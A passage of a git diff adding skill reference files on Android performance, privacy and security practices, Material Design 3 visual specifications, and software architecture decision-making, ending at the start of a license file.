5 seconds | +| Broadcast receiver | 10 seconds | +| Service start | 20 seconds | + +### Prevention Strategies + +- Never perform network calls on main thread +- Never perform database operations on main thread +- Never perform file I/O on main thread +- Use coroutines, RxJava, or other async mechanisms +- Reduce synchronized block contention + +### Common ANR Causes + +| Cause | Solution | +|-------|----------| +| Network on main thread | Use coroutines/RxJava | +| Database on main thread | Use Room with suspend | +| File I/O on main thread | Use Dispatchers.IO | +| Lock contention | Reduce synchronized blocks | +| Dead locks | Careful threading design | + +## Battery Optimization + +### Wake Lock Guidelines + +| Rule | Implementation | +|------|----------------| +| Minimize duration | Release as soon as possible | +| Use appropriate type | PARTIAL_WAKE_LOCK only when needed | +| Always release | Use try-finally or lifecycle | +| Prefer WorkManager | System-managed scheduling | + +### Background Restrictions + +| Feature | Best Practice | +|---------|---------------| +| Background services | Use WorkManager instead | +| Location | Request only when necessary | +| Network | Batch requests, respect connectivity | +| Alarms | Use inexact alarms when possible | + +### Doze and App Standby + +| Mode | Behavior | Adaptation | +|------|----------|------------| +| Doze | Limited network, alarms delayed | Use FCM for high-priority | +| App Standby | Background work restricted | Use expedited WorkManager | +| Buckets | Frequency limits by usage | Design for infrequent execution | + +## Memory Management + +### Memory Best Practices + +| Practice | Benefit | +|----------|---------| +| Avoid memory leaks | Prevent OutOfMemoryError | +| Use weak references | Allow garbage collection | +| Recycle bitmaps | Reduce memory pressure | +| Monitor heap | Profile regularly | + +### Common Memory Issues + +| Issue | Detection | Solution | +|-------|-----------|----------| +| Activity leak | LeakCanary | Fix lifecycle references | +| Bitmap leak | Memory profiler | Recycle, use Glide/Coil | +| Context leak | Static analysis | Use application context | +| Handler leak | Lint warning | Use WeakReference | + +## StrictMode + +### What StrictMode Detects + +| Category | Issues | +|----------|--------| +| Thread | Disk reads/writes, network, slow calls | +| VM | Leaked objects, unsafe intents, content URI exposure | + +Enable StrictMode in debug builds to detect violations during development. + +## SDK Requirements + +### Version Requirements + +| Property | Requirement | +|----------|-------------| +| targetSdk | Latest Android SDK (Google Play requirement) | +| compileSdk | Latest Android SDK | +| minSdk | Based on target audience | + +### Third-Party SDK Management + +| Practice | Reason | +|----------|--------| +| Keep updated | Security fixes, compatibility | +| Audit regularly | Remove unused dependencies | +| Monitor crashes | SDKs can cause issues | +| Check permissions | SDKs may request excessive permissions | + +### Non-SDK Interface Restrictions + +- Don't use reflection for hidden APIs +- Use Android Studio lint to detect +- APIs may break in future versions + +## Monitoring and Profiling + +### Tools + +| Tool | Purpose | +|------|---------| +| Android Studio Profiler | CPU, memory, network, energy | +| Android Vitals (Play Console) | Production crash/ANR data | +| Firebase Performance | Real-time performance monitoring | +| Perfetto | Advanced system tracing | +| Benchmark library | Reproducible measurements | + +### Key Metrics to Track + +| Metric | Tool | +|--------|------| +| Startup time | Macrobenchmark | +| Frame timing | JankStats | +| Memory usage | Memory Profiler | +| Network latency | Network Profiler | +| Battery drain | Energy Profiler | + +## Performance Checklist + +- [ ] Cold startup < 2 seconds +- [ ] Rendering at 60 FPS +- [ ] No StrictMode violations +- [ ] Crash rate < 1.09% +- [ ] ANR rate < 0.47% +- [ ] No memory leaks +- [ ] Background work uses WorkManager +- [ ] Wake locks properly released +- [ ] SDKs up to date diff --git a/skills/android-native-dev/references/privacy-security.md b/skills/android-native-dev/references/privacy-security.md new file mode 100644 index 0000000..807739e --- /dev/null +++ b/skills/android-native-dev/references/privacy-security.md @@ -0,0 +1,244 @@ +# Privacy & Security Guidelines + +Security best practices and privacy requirements for Android applications. + +## Permissions + +### Principle of Least Privilege + +| Rule | Implementation | +|------|----------------| +| Request minimum | Only permissions essential for core features | +| Request when needed | At point of use, not app startup | +| Explain why | Show rationale before system dialog | +| Degrade gracefully | App works (limited) if denied | + +### Permission Request Flow + +1. Check if already granted +2. If not, show educational UI (rationale) +3. Request permission +4. Handle result (grant or denial) +5. If denied, offer alternative or reduced functionality + +### Sensitive Permissions + +| Permission | Consideration | +|------------|---------------| +| Location | Use coarse if fine not needed | +| Camera | Request only when capturing | +| Microphone | Request only when recording | +| Contacts | Consider contact picker intent | +| Storage | Use scoped storage | +| SMS/Call Log | Restricted, needs approval | + +### Alternative Approaches + +| Instead of... | Consider... | +|---------------|-------------| +| READ_CONTACTS | Contact picker intent | +| ACCESS_FINE_LOCATION | Coarse location | +| READ_EXTERNAL_STORAGE | Storage Access Framework | +| CAMERA | Camera intent | + +## Data Storage + +### Storage Types + +| Type | Security | Usage | +|------|----------|-------| +| Internal storage | Private to app | Sensitive data | +| External storage | World-readable | Shared files only | +| SharedPreferences | Private, unencrypted | Non-sensitive settings | +| EncryptedSharedPreferences | Private, encrypted | Sensitive settings | +| Room database | Private, optional encryption | Structured data | + +### Sensitive Data Rules + +| Rule | Implementation | +|------|----------------| +| Store internally | Use internal storage, not external | +| Encrypt at rest | Use EncryptedSharedPreferences, SQLCipher | +| Don't log | Never log PII or credentials | +| Clear on logout | Wipe user data completely | + +### Data Logging + +Never log sensitive data such as passwords, emails, tokens, or personal information. Only log non-sensitive operational information. + +## Network Security + +### HTTPS Requirements + +- All network traffic must use SSL/TLS +- Configure Network Security Config +- Don't allow cleartext traffic + +### Network Security Config + +Define a network security configuration that: +- Disables cleartext traffic +- Specifies trusted certificate authorities +- Optionally implements certificate pinning for high-security apps + +### Certificate Pinning (Optional) + +For high-security apps, pin certificates to prevent MITM attacks. Include backup pins and plan for certificate rotation. + +## User Identity + +### Credential Manager + +Integrate Credential Manager for unified sign-in supporting: +- Passkeys +- Federated identity +- Traditional passwords + +### Biometric Authentication + +Use biometric authentication for sensitive operations like: +- Financial transactions +- Accessing sensitive documents +- Confirming identity + +### Autofill Support + +Provide autofill hints on input fields: +- emailAddress, username for identity fields +- password for credential fields +- creditCardNumber, postalCode for payment fields + +## App Components Security + +### Exported Components + +| Component | Exported Rule | +|-----------|---------------| +| Launcher Activity | exported="true" with intent-filter | +| Internal Activity | exported="false" | +| Internal Service | exported="false" | +| Content Provider (shared) | exported="true" with permissions | + +Always explicitly set the exported attribute on all components. + +### Custom Permissions + +Use signature-level protection for custom permissions that control access between your own apps. + +### Intent Validation + +- Validate all intent data before use +- Check URI scheme and host +- Use explicit intents when possible +- Don't trust extras from unknown sources + +### PendingIntent Security + +Use FLAG_IMMUTABLE for PendingIntents unless mutability is required. This prevents other apps from modifying the intent. + +## WebView Security + +### Safe WebView Configuration + +| Setting | Recommendation | +|---------|----------------| +| JavaScript | Disabled unless required | +| File access | Disabled | +| Content access | Disabled | +| Universal file access | Never enable | + +### Avoid Dangerous Practices + +| Don't | Why | +|-------|-----| +| setAllowUniversalAccessFromFileURLs(true) | Security vulnerability | +| addJavascriptInterface() with untrusted content | Code injection risk | +| Load untrusted URLs | XSS, phishing | + +## Cryptography + +### Use Platform APIs + +- Use Android Keystore for key storage +- Use standard algorithms (AES-GCM, RSA) +- Never implement custom cryptography +- Use SecureRandom for random generation + +### Avoid + +- Custom encryption implementations +- Weak algorithms (MD5, SHA1 for security) +- Hardcoded keys or secrets +- Non-cryptographic random generators + +## Code Security + +### No Dynamic Code Loading + +| Don't | Do Instead | +|-------|------------| +| Load code at runtime | Android App Bundles | +| Download DEX files | Play Feature Delivery | +| Execute scripts | Predefined functionality | + +### Debug Code Removal + +- Set debuggable=false in release builds +- Enable minification (R8/ProGuard) +- Remove debug libraries from production + +## Device Identifiers + +### Don't Use Hardware IDs + +| Identifier | Status | +|------------|--------| +| IMEI | Don't use | +| MAC address | Don't use | +| Serial number | Don't use | +| Android ID | Limited use only | + +### Recommended Alternatives + +| Use Case | Solution | +|----------|----------| +| Analytics | Firebase Analytics ID | +| Advertising | Advertising ID (resettable) | +| App instance | Generate UUID on install | +| User identity | Account-based ID | + +## Google Play Policies + +### Data Safety + +- Declare all data collected +- Explain data usage +- Provide privacy policy +- Allow data deletion requests + +### User Data Policy + +| Rule | Requirement | +|------|-------------| +| Transparency | Clear disclosure of data use | +| Security | Protect user data appropriately | +| Minimization | Collect only what's needed | +| Control | Allow users to manage data | + +## Security Checklist + +- [ ] Permissions requested only when needed +- [ ] Permissions explained to user +- [ ] Sensitive data stored internally +- [ ] No sensitive data in logs +- [ ] All network traffic over HTTPS +- [ ] Network security config defined +- [ ] Components export status explicit +- [ ] Custom permissions use signature protection +- [ ] Intents validated before use +- [ ] PendingIntents use FLAG_IMMUTABLE +- [ ] WebView configured securely +- [ ] Platform crypto APIs used +- [ ] No debug code in production +- [ ] No hardware IDs used +- [ ] Privacy policy available diff --git a/skills/android-native-dev/references/visual-design.md b/skills/android-native-dev/references/visual-design.md new file mode 100644 index 0000000..b1599e1 --- /dev/null +++ b/skills/android-native-dev/references/visual-design.md @@ -0,0 +1,246 @@ +# Visual Design Guidelines + +Detailed specifications for colors, typography, spacing, elevation, and shapes in Material Design 3. + +## Color System + +### Color Roles (Tokens) + +Material Design 3 uses a token-based color system with three accent groups: + +| Role | Usage | +|------|-------| +| **Primary** | Key components, FAB, prominent buttons | +| **Secondary** | Less prominent components, filters, chips | +| **Tertiary** | Accent, complementary elements | +| **Error** | Error states, destructive actions | +| **Surface** | Backgrounds, cards, dialogs | + +Each role includes variants: base color, onColor, container, onContainer. + +### Color Contrast Requirements + +| Element | Minimum Contrast Ratio | Notes | +|---------|----------------------|-------| +| Body text | **4.5:1** | WCAG AA compliance | +| Large text (18sp+) | **3:1** | 14sp bold also qualifies | +| UI components | **3:1** | Icons, borders, controls | +| Focus indicators | **3:1** | Must be clearly visible | + +### Recommended Color Palettes + +#### Modern Professional (Business Apps) + +| Role | Color | Name | +|------|-------|------| +| Primary | #1976D2 | Blue 700 | +| Secondary | #455A64 | Blue Grey 700 | +| Tertiary | #00897B | Teal 600 | +| Background | #FAFAFA | Grey 50 | + +#### Vibrant & Playful (Consumer Apps) + +| Role | Color | Name | +|------|-------|------| +| Primary | #6200EE | Deep Purple | +| Secondary | #03DAC6 | Teal Accent | +| Tertiary | #FF5722 | Deep Orange | +| Background | #FFFFFF | White | + +#### Dark & Elegant (Premium Apps) + +| Role | Color | Name | +|------|-------|------| +| Primary | #BB86FC | Purple 200 | +| Secondary | #03DAC6 | Teal 200 | +| Tertiary | #CF6679 | Red 200 | +| Background | #121212 | Dark surface | + +#### Nature & Wellness (Health Apps) + +| Role | Color | Name | +|------|-------|------| +| Primary | #4CAF50 | Green 500 | +| Secondary | #8BC34A | Light Green 500 | +| Tertiary | #FFEB3B | Yellow 500 | +| Background | #F1F8E9 | Light Green 50 | + +#### Finance & Trust (Banking Apps) + +| Role | Color | Name | +|------|-------|------| +| Primary | #00695C | Teal 800 | +| Secondary | #37474F | Blue Grey 800 | +| Tertiary | #FFC107 | Amber 500 | +| Background | #ECEFF1 | Blue Grey 50 | + +### Dark Theme Requirements + +- Background: #121212 or darker +- Surface colors use elevation-based tonal overlay +- Primary colors should be lighter variants (200-300 range) +- Maintain contrast ratios in dark mode +- Test all states (hover, focus, pressed) in dark mode + +## Typography System + +### Type Scale + +| Style | Size | Weight | Line Height | Usage | +|-------|------|--------|-------------|-------| +| Display Large | 57sp | 400 | 64sp | Hero text | +| Display Medium | 45sp | 400 | 52sp | Large headers | +| Display Small | 36sp | 400 | 44sp | Section headers | +| Headline Large | 32sp | 400 | 40sp | Screen titles | +| Headline Medium | 28sp | 400 | 36sp | Subsection titles | +| Headline Small | 24sp | 400 | 32sp | Card titles | +| Title Large | 22sp | 400 | 28sp | App bar titles | +| Title Medium | 16sp | 500 | 24sp | List item titles | +| Title Small | 14sp | 500 | 20sp | Tabs | +| Body Large | 16sp | 400 | 24sp | Primary body text | +| Body Medium | 14sp | 400 | 20sp | Secondary body text | +| Body Small | 12sp | 400 | 16sp | Captions | +| Label Large | 14sp | 500 | 20sp | Button text | +| Label Medium | 12sp | 500 | 16sp | Navigation labels | +| Label Small | 11sp | 500 | 16sp | Badges | + +### Recommended Fonts + +| Category | Fonts | +|----------|-------| +| Primary | Roboto (system default) | +| Display | Roboto Serif, Google Sans | +| Monospace | Roboto Mono, JetBrains Mono | + +### Text Readability + +- **Line length**: 45-75 characters per line (including spaces) +- **Paragraph spacing**: 1.5x line height between paragraphs +- **Letter spacing**: Use default unless brand requires adjustment +- **Text alignment**: Left-aligned for body text (LTR languages) + +## Spacing & Layout + +### 8dp Grid System + +All spacing values should be multiples of 8dp (with 4dp for fine adjustments). + +| Token | Value | Usage | +|-------|-------|-------| +| xs | 4dp | Icon padding, fine adjustments | +| sm | 8dp | Tight spacing, inline elements | +| md | 16dp | Default padding, card content | +| lg | 24dp | Section spacing | +| xl | 32dp | Large gaps, group separation | +| xxl | 48dp | Screen margins, major sections | + +### Component Dimensions + +| Component | Height | Min Width | Notes | +|-----------|--------|-----------|-------| +| Button | 40dp | 64dp | Touch target 48dp | +| FAB | 56dp | 56dp | Standard size | +| Mini FAB | 40dp | 40dp | Secondary actions | +| Extended FAB | 56dp | 80dp | With text label | +| Text Field | 56dp | 280dp | Including label | +| App Bar | 64dp | - | Top app bar | +| Bottom Nav | 80dp | - | With labels | +| Nav Rail | - | 80dp | Tablet/desktop | +| List Item | 56-88dp | - | Depends on content | +| Chip | 32dp | - | Filter/action chips | + +### Touch Targets + +| Type | Size | Notes | +|------|------|-------| +| Minimum | 48 × 48dp | WCAG requirement | +| Recommended | 56 × 56dp | Primary actions | +| Kids apps | 56dp+ | Larger for motor skills | +| Spacing | 8dp minimum | Between adjacent targets | + +## Elevation & Shadows + +### Elevation Levels + +| Level | Elevation | Usage | +|-------|-----------|-------| +| Level 0 | 0dp | Flat surfaces | +| Level 1 | 1dp | Cards, elevated buttons | +| Level 2 | 3dp | FAB (resting), raised elements | +| Level 3 | 6dp | Navigation drawer, bottom sheet | +| Level 4 | 8dp | FAB (pressed), menus | +| Level 5 | 12dp | Dialogs, modal surfaces | + +### Shadow Guidelines + +- Use elevation consistently for same component types +- Higher elevation = more important/prominent +- In dark theme, use surface tint instead of shadows +- Avoid excessive elevation (keeps UI grounded) + +## Shape System + +### Corner Radius + +| Size | Radius | Usage | +|------|--------|-------| +| None | 0dp | Sharp edges, dividers | +| Extra Small | 4dp | Badges, small chips | +| Small | 8dp | Buttons, chips, small cards | +| Medium | 12dp | Cards, dialogs, text fields | +| Large | 16dp | FAB, bottom sheets | +| Extra Large | 28dp | Large sheets, expanded cards | +| Full | 50% | Pills, avatars, circular buttons | + +### M3 Expressive Shapes + +Material 3 Expressive introduces 35 new decorative shapes: +- Organic curves +- Asymmetric corners +- Cut corners +- Scalloped edges + +Use sparingly for brand differentiation and visual interest. + +### Shape Consistency Rules + +- Same component type = same shape +- Related components should share shape family +- Don't mix too many shape styles on one screen +- Consider shape in dark/light theme transitions + +## Icons + +### Size Specifications + +| Size | Dimensions | Usage | +|------|------------|-------| +| Small | 20 × 20dp | Compact UI, inline | +| Standard | 24 × 24dp | Default for most uses | +| Large | 40 × 40dp | Emphasis, empty states | + +### Icon Guidelines + +- **Touch target**: Always wrap in 48dp minimum clickable area +- **Style**: Outlined (default), Filled (selected/active states) +- **Stroke width**: 2dp for outlined icons +- **Optical alignment**: May need visual adjustments +- **Color**: Use semantic colors (primary, error, etc.) + +### Recommended Icon Sets + +| Set | Usage | +|-----|-------| +| Material Symbols | Recommended, variable font support | +| Material Icons | Legacy, still widely used | + +### Adaptive Icons (App Icon) + +| Property | Value | +|----------|-------| +| Canvas size | 108 × 108dp | +| Safe zone | 66 × 66dp (centered circle) | +| Logo size | 48-66dp | +| Max display | 72 × 72dp | +| Layers | Foreground + Background (both 108dp) | +| Android 13+ | Include monochrome layer for theming | diff --git a/skills/architecture/SKILL.md b/skills/architecture/SKILL.md new file mode 100644 index 0000000..d8e5810 --- /dev/null +++ b/skills/architecture/SKILL.md @@ -0,0 +1,243 @@ +--- +name: architecture +description: | + Master architecture skill combining system design, architecture patterns, + ADRs, C4 modeling, and senior architect tools. Use when designing systems, + making architecture decisions, or reviewing designs. +--- + +# Architecture Master + +Comprehensive architecture skill combining: requirements analysis, trade-off evaluation, ADR documentation, architecture patterns, C4 modeling, and system design. + +--- + +## Quick Reference + +| Task | Use Section | +|------|-------------| +| Make architecture decisions | **Architecture Decision Framework** | +| Choose architecture patterns | **Architecture Patterns** | +| Document decisions | **ADRs** | +| Design system architecture | **System Design** | +| Create C4 diagrams | **C4 Model** | +| Review architecture | **Architecture Review** | + +--- + +## Architecture Decision Framework + +**Core Principle:** "Requirements drive architecture. Trade-offs inform decisions. ADRs capture rationale." + +### Decision Process +1. **Gather Requirements** - Functional and non-functional +2. **Identify Constraints** - Budget, timeline, technology, team +3. **Evaluate Options** - Compare alternatives with trade-off analysis +4. **Document Decision** - ADR with context, decision, consequences +5. **Communicate** - Explain rationale to stakeholders + +### Questions to Ask +- What problem are we solving? +- What are the non-functional requirements? +- What constraints must we work within? +- What trade-offs are we willing to make? +- How will this scale? + +--- + +## Architecture Patterns + +**When to Use:** Designing new systems or refactoring existing ones. + +### Common Patterns + +#### Layered Architecture +``` +┌─────────────────────┐ +│ Presentation │ +├─────────────────────┤ +│ Application │ +├─────────────────────┤ +│ Domain │ +├─────────────────────┤ +│ Infrastructure │ +└─────────────────────┘ +``` + +#### Clean Architecture +``` +┌─────────────────────┐ +│ External Actors │ +├─────────────────────┤ +│ Input Adapters │ +├─────────────────────┤ +│ Use Cases │ +├─────────────────────┤ +│ Output Adapters │ +├─────────────────────┤ +│ Entities │ +└─────────────────────┘ +``` + +#### Hexagonal Architecture (Ports & Adapters) +- **Core:** Business logic (hexagon) +- **Ports:** Interfaces for input/output +- **Adapters:** Implementations of ports + +#### Event-Driven Architecture +- Event sources → Event channel → Event processors +- Decoupled, scalable, real-time + +#### Microservices Architecture +- Single responsibility per service +- API gateway, service discovery +- Distributed data management + +#### Monorepo Architecture +- Shared code, unified tooling +- Atomic commits across projects +- Consistent dependencies + +--- + +## Architecture Decision Records (ADRs) + +**When to Use:** Documenting significant architecture decisions. + +### ADR Template +```markdown +# ADR-001: [Title] + +## Status +Accepted | Deprecated | Superseded + +## Context +[Problem statement, constraints, requirements] + +## Decision +[Chosen approach] + +## Consequences +### Positive +- ... + +### Negative +- ... + +### Neutral +- ... +``` + +### When to Create an ADR +- Significant technology choice +- Cross-cutting concerns +- High-cost implementation +- Reversal cost is high + +--- + +## C4 Model + +**When to Use:** Visualizing system architecture at different levels. + +### C4 Levels + +#### Level 1: Context +- Highest level view +- Shows users, systems, relationships +- External systems labeled + +#### Level 2: Container +- Applications, databases, services +- Technology choices visible +- Responsibilities defined + +#### Level 3: Component +- Major components within a container +- Responsibilities and collaborations +- Implementation details emerging + +#### Level 4: Code +- Implementation details +- Class diagrams, function signatures +- Most detailed level + +### Tools +- PlantUML +- Mermaid +- Structurizr +- draw.io + +--- + +## System Design + +### API Design +- RESTful vs GraphQL vs gRPC +- Versioning strategy +- Authentication/Authorization +- Rate limiting +- Error handling + +### Database Design +- Relational vs NoSQL vs NewSQL +- Schema design +- Indexing strategy +- Replication and sharding +- Backup and recovery + +### Authentication Patterns +- JWT tokens +- OAuth 2.0 / OIDC +- SAML +- Session management +- MFA integration + +### Messaging Patterns +- Point-to-point +- Pub/Sub +- Event streaming +- Message formats (JSON, Avro, Protobuf) + +--- + +## Architecture Review + +### Review Checklist +- [ ] Requirements satisfied? +- [ ] Non-functional requirements met? +- [ ] Trade-offs documented? +- [ ] Risks identified and mitigated? +- [ ] Scalability considered? +- [ ] Security baked in? +- [ ] Observability included? +- [ ] Documentation complete? + +### Anti-Patterns to Avoid +- Big bang rewrite +- Gold plating +- Architecture astronautism +- Single point of failure +- Premature optimization + +--- + +## Related Skills + +| Skill | Use For | +|-------|---------| +| `@database-architect` | Database-specific architecture | +| `@backend-architect` | Backend system design | +| `@c4-architecture-c4-architecture` | C4 diagram creation | +| `@software-architecture` | General software architecture | + +--- + +## Best Practices + +1. **Start Simple** - YAGNI, avoid over-engineering +2. **Document Decisions** - ADRs for significant choices +3. **Consider Trade-offs** - Every decision has pros/cons +4. **Plan for Change** - Flexibility over perfection +5. **Communicate Visually** - Diagrams communicate faster +6. **Review Regularly** - Architecture evolves diff --git a/skills/architecture/context-discovery.md b/skills/architecture/context-discovery.md new file mode 100644 index 0000000..cf4757a --- /dev/null +++ b/skills/architecture/context-discovery.md @@ -0,0 +1,43 @@ +# Context Discovery + +> Before suggesting any architecture, gather context. + +## Question Hierarchy (Ask User FIRST) + +1. **Scale** + - How many users? (10, 1K, 100K, 1M+) + - Data volume? (MB, GB, TB) + - Transaction rate? (per second/minute) + +2. **Team** + - Solo developer or team? + - Team size and expertise? + - Distributed or co-located? + +3. **Timeline** + - MVP/Prototype or long-term product? + - Time to market pressure? + +4. **Domain** + - CRUD-heavy or business logic complex? + - Real-time requirements? + - Compliance/regulations? + +5. **Constraints** + - Budget limitations? + - Legacy systems to integrate? + - Technology stack preferences? + +## Project Classification Matrix + +``` + MVP SaaS Enterprise +┌─────────────────────────────────────────────────────────────┐ +│ Scale │ <1K │ 1K-100K │ 100K+ │ +│ Team │ Solo │ 2-10 │ 10+ │ +│ Timeline │ Fast (weeks) │ Medium (months)│ Long (years)│ +│ Architecture │ Simple │ Modular │ Distributed │ +│ Patterns │ Minimal │ Selective │ Comprehensive│ +│ Example │ Next.js API │ NestJS │ Microservices│ +└─────────────────────────────────────────────────────────────┘ +``` diff --git a/skills/architecture/examples.md b/skills/architecture/examples.md new file mode 100644 index 0000000..781d56a --- /dev/null +++ b/skills/architecture/examples.md @@ -0,0 +1,94 @@ +# Architecture Examples + +> Real-world architecture decisions by project type. + +--- + +## Example 1: MVP E-commerce (Solo Developer) + +```yaml +Requirements: + - <1000 users initially + - Solo developer + - Fast to market (8 weeks) + - Budget-conscious + +Architecture Decisions: + App Structure: Monolith (simpler for solo) + Framework: Next.js (full-stack, fast) + Data Layer: Prisma direct (no over-abstraction) + Authentication: JWT (simpler than OAuth) + Payment: Stripe (hosted solution) + Database: PostgreSQL (ACID for orders) + +Trade-offs Accepted: + - Monolith → Can't scale independently (team doesn't justify it) + - No Repository → Less testable (simple CRUD doesn't need it) + - JWT → No social login initially (can add later) + +Future Migration Path: + - Users > 10K → Extract payment service + - Team > 3 → Add Repository pattern + - Social login requested → Add OAuth +``` + +--- + +## Example 2: SaaS Product (5-10 Developers) + +```yaml +Requirements: + - 1K-100K users + - 5-10 developers + - Long-term (12+ months) + - Multiple domains (billing, users, core) + +Architecture Decisions: + App Structure: Modular Monolith (team size optimal) + Framework: NestJS (modular by design) + Data Layer: Repository pattern (testing, flexibility) + Domain Model: Partial DDD (rich entities) + Authentication: OAuth + JWT + Caching: Redis + Database: PostgreSQL + +Trade-offs Accepted: + - Modular Monolith → Some module coupling (microservices not justified) + - Partial DDD → No full aggregates (no domain experts) + - RabbitMQ later → Initial synchronous (add when proven needed) + +Migration Path: + - Team > 10 → Consider microservices + - Domains conflict → Extract bounded contexts + - Read performance issues → Add CQRS +``` + +--- + +## Example 3: Enterprise (100K+ Users) + +```yaml +Requirements: + - 100K+ users + - 10+ developers + - Multiple business domains + - Different scaling needs + - 24/7 availability + +Architecture Decisions: + App Structure: Microservices (independent scale) + API Gateway: Kong/AWS API GW + Domain Model: Full DDD + Consistency: Event-driven (eventual OK) + Message Bus: Kafka + Authentication: OAuth + SAML (enterprise SSO) + Database: Polyglot (right tool per job) + CQRS: Selected services + +Operational Requirements: + - Service mesh (Istio/Linkerd) + - Distributed tracing (Jaeger/Tempo) + - Centralized logging (ELK/Loki) + - Circuit breakers (Resilience4j) + - Kubernetes/Helm +``` diff --git a/skills/architecture/pattern-selection.md b/skills/architecture/pattern-selection.md new file mode 100644 index 0000000..d5f1663 --- /dev/null +++ b/skills/architecture/pattern-selection.md @@ -0,0 +1,68 @@ +# Pattern Selection Guidelines + +> Decision trees for choosing architectural patterns. + +## Main Decision Tree + +``` +START: What's your MAIN concern? + +┌─ Data Access Complexity? +│ ├─ HIGH (complex queries, testing needed) +│ │ → Repository Pattern + Unit of Work +│ │ VALIDATE: Will data source change frequently? +│ │ ├─ YES → Repository worth the indirection +│ │ └─ NO → Consider simpler ORM direct access +│ └─ LOW (simple CRUD, single database) +│ → ORM directly (Prisma, Drizzle) +│ Simpler = Better, Faster +│ +├─ Business Rules Complexity? +│ ├─ HIGH (domain logic, rules vary by context) +│ │ → Domain-Driven Design +│ │ VALIDATE: Do you have domain experts on team? +│ │ ├─ YES → Full DDD (Aggregates, Value Objects) +│ │ └─ NO → Partial DDD (rich entities, clear boundaries) +│ └─ LOW (mostly CRUD, simple validation) +│ → Transaction Script pattern +│ Simpler = Better, Faster +│ +├─ Independent Scaling Needed? +│ ├─ YES (different components scale differently) +│ │ → Microservices WORTH the complexity +│ │ REQUIREMENTS (ALL must be true): +│ │ - Clear domain boundaries +│ │ - Team > 10 developers +│ │ - Different scaling needs per service +│ │ IF NOT ALL MET → Modular Monolith instead +│ └─ NO (everything scales together) +│ → Modular Monolith +│ Can extract services later when proven needed +│ +└─ Real-time Requirements? + ├─ HIGH (immediate updates, multi-user sync) + │ → Event-Driven Architecture + │ → Message Queue (RabbitMQ, Redis, Kafka) + │ VALIDATE: Can you handle eventual consistency? + │ ├─ YES → Event-driven valid + │ └─ NO → Synchronous with polling + └─ LOW (eventual consistency acceptable) + → Synchronous (REST/GraphQL) + Simpler = Better, Faster +``` + +## The 3 Questions (Before ANY Pattern) + +1. **Problem Solved**: What SPECIFIC problem does this pattern solve? +2. **Simpler Alternative**: Is there a simpler solution? +3. **Deferred Complexity**: Can we add this LATER when needed? + +## Red Flags (Anti-patterns) + +| Pattern | Anti-pattern | Simpler Alternative | +|---------|-------------|-------------------| +| Microservices | Premature splitting | Start monolith, extract later | +| Clean/Hexagonal | Over-abstraction | Concrete first, interfaces later | +| Event Sourcing | Over-engineering | Append-only audit log | +| CQRS | Unnecessary complexity | Single model | +| Repository | YAGNI for simple CRUD | ORM direct access | diff --git a/skills/architecture/patterns-reference.md b/skills/architecture/patterns-reference.md new file mode 100644 index 0000000..3aa3eb2 --- /dev/null +++ b/skills/architecture/patterns-reference.md @@ -0,0 +1,50 @@ +# Architecture Patterns Reference + +> Quick reference for common patterns with usage guidance. + +## Data Access Patterns + +| Pattern | When to Use | When NOT to Use | Complexity | +|---------|-------------|-----------------|------------| +| **Active Record** | Simple CRUD, rapid prototyping | Complex queries, multiple sources | Low | +| **Repository** | Testing needed, multiple sources | Simple CRUD, single database | Medium | +| **Unit of Work** | Complex transactions | Simple operations | High | +| **Data Mapper** | Complex domain, performance | Simple CRUD, rapid dev | High | + +## Domain Logic Patterns + +| Pattern | When to Use | When NOT to Use | Complexity | +|---------|-------------|-----------------|------------| +| **Transaction Script** | Simple CRUD, procedural | Complex business rules | Low | +| **Table Module** | Record-based logic | Rich behavior needed | Low | +| **Domain Model** | Complex business logic | Simple CRUD | Medium | +| **DDD (Full)** | Complex domain, domain experts | Simple domain, no experts | High | + +## Distributed System Patterns + +| Pattern | When to Use | When NOT to Use | Complexity | +|---------|-------------|-----------------|------------| +| **Modular Monolith** | Small teams, unclear boundaries | Clear contexts, different scales | Medium | +| **Microservices** | Different scales, large teams | Small teams, simple domain | Very High | +| **Event-Driven** | Real-time, loose coupling | Simple workflows, strong consistency | High | +| **CQRS** | Read/write performance diverges | Simple CRUD, same model | High | +| **Saga** | Distributed transactions | Single database, simple ACID | High | + +## API Patterns + +| Pattern | When to Use | When NOT to Use | Complexity | +|---------|-------------|-----------------|------------| +| **REST** | Standard CRUD, resources | Real-time, complex queries | Low | +| **GraphQL** | Flexible queries, multiple clients | Simple CRUD, caching needs | Medium | +| **gRPC** | Internal services, performance | Public APIs, browser clients | Medium | +| **WebSocket** | Real-time updates | Simple request/response | Medium | + +--- + +## Simplicity Principle + +**"Start simple, add complexity only when proven necessary."** + +- You can always add patterns later +- Removing complexity is MUCH harder than adding it +- When in doubt, choose simpler option diff --git a/skills/architecture/trade-off-analysis.md b/skills/architecture/trade-off-analysis.md new file mode 100644 index 0000000..e41da0b --- /dev/null +++ b/skills/architecture/trade-off-analysis.md @@ -0,0 +1,77 @@ +# Trade-off Analysis & ADR + +> Document every architectural decision with trade-offs. + +## Decision Framework + +For EACH architectural component, document: + +```markdown +## Architecture Decision Record + +### Context +- **Problem**: [What problem are we solving?] +- **Constraints**: [Team size, scale, timeline, budget] + +### Options Considered + +| Option | Pros | Cons | Complexity | When Valid | +|--------|------|------|------------|-----------| +| Option A | Benefit 1 | Cost 1 | Low | [Conditions] | +| Option B | Benefit 2 | Cost 2 | High | [Conditions] | + +### Decision +**Chosen**: [Option B] + +### Rationale +1. [Reason 1 - tied to constraints] +2. [Reason 2 - tied to requirements] + +### Trade-offs Accepted +- [What we're giving up] +- [Why this is acceptable] + +### Consequences +- **Positive**: [Benefits we gain] +- **Negative**: [Costs/risks we accept] +- **Mitigation**: [How we'll address negatives] + +### Revisit Trigger +- [When to reconsider this decision] +``` + +## ADR Template + +```markdown +# ADR-[XXX]: [Decision Title] + +## Status +Proposed | Accepted | Deprecated | Superseded by [ADR-YYY] + +## Context +[What problem? What constraints?] + +## Decision +[What we chose - be specific] + +## Rationale +[Why - tie to requirements and constraints] + +## Trade-offs +[What we're giving up - be honest] + +## Consequences +- **Positive**: [Benefits] +- **Negative**: [Costs] +- **Mitigation**: [How to address] +``` + +## ADR Storage + +``` +docs/ +└── architecture/ + ├── adr-001-use-nextjs.md + ├── adr-002-postgresql-over-mongodb.md + └── adr-003-adopt-repository-pattern.md +``` diff --git a/skills/artifacts-builder/LICENSE.txt b/skills/artifacts-builder/LICENSE.txt new file mode 100644 index 0000000..7a4a3ea --- /dev/null +++ b/skills/artifacts-builder/LICENSE.txt @@ -0,0 +1,202 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR 